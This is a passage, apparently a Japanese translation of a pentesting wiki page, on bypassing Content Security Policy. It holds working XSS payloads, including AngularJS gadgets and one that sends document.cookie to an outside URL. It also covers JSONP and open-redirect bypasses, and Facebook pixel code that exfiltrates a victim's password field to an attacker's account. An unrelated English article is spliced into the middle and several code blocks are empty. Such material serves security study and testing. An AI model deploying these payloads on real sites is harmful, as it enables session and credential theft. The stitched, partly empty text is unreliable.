{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
以下は、この解説からの[**追加のペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)です:
```html
```
#### www.google.comを悪用したオープンリダイレクト
以下のURLはexample.comにリダイレクトします([こちら](https://www.landh.tech/blog/20240304-google-hack-50000/)から):
```
https://www.google.com/amp/s/example.com/
```
### サードパーティのエンドポイント + JSONP
\*.google.com/script.google.com を悪用する
Google Apps Script を悪用して、script.google.com 内のページで情報を受信することが可能です。これは [このレポート](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) で行われています。
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
シナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。 JSONP エンドポイントはセキュアでないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します**。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
### サードパーティの悪用
[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSP で許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです:
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
ターゲットのCSP で許可されているドメインの中にこれらのいずれかが見つかった場合、サードパーティサービスに登録して、そのサービスにデータを外部流出させるかコードを実行する可能性があります。
たとえば、次のCSP が見つかった場合:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
# Content Security Policy (CSP) Bypass
## Introduction
In this article, we will discuss various techniques to bypass Content Security Policy (CSP) restrictions.
## What is Content Security Policy (CSP)?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using the `Content-Security-Policy` HTTP header to restrict the sources from which certain types of content can be loaded on a website.
## Bypass Techniques
### 1. Using `unsafe-inline`
One common way to bypass CSP restrictions is by using the `unsafe-inline` keyword in the CSP policy. This keyword allows the execution of inline JavaScript, CSS, and event handlers, which are otherwise blocked by CSP.
### 2. Data: URI Scheme
Another technique is to use the `data:` URI scheme to embed external resources directly within the HTML document. This can be used to bypass CSP restrictions that block external resources from being loaded.
### 3. Using `nonce` or `hash`
CSP allows the use of `nonce` or `hash` values to whitelist specific inline scripts or styles. By dynamically generating `nonce` values or calculating `hash` values, it is possible to bypass CSP restrictions on inline content.
### 4. Exploiting Browser Extensions
Some browser extensions may introduce security vulnerabilities that can be exploited to bypass CSP restrictions. By leveraging these vulnerabilities, an attacker can execute malicious scripts on a website despite the CSP policy.
## Conclusion
Content Security Policy (CSP) is an important security mechanism to protect websites from various types of attacks. However, it is crucial to understand the potential bypass techniques in order to effectively secure web applications against CSP bypass vulnerabilities.
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. 以下のリンクからFacebook Developerアカウントを作成します。
2. "Facebook Login"アプリを作成し、「Website」を選択します。
3. "Settings -> Basic"に移動し、「App ID」を取得します。
4. データを外部流出させたいターゲットサイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは次のようなURLで見つけることができます: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test\_events)。
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します。
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### 前のテーブルで指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用についての追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPO(Relative Path Overwrite)を介したバイパス
パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path Overwrite(RPO)があります。
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html
```
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しているためです。
したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバーの間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。
解決策は、サーバーサイドで `%2f` を `/` として扱わないようにし、ブラウザとサーバーの間で一貫した解釈を確保してこの問題を回避することです。
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS実行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** が不足している場合
**base-uri** ディレクティブが不足している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。
さらに、**ページが相対パスを使用してスクリプトを読み込んでいる**場合(例:`
ng-app"ng-csp ng-click=$event.view.alert(1337)>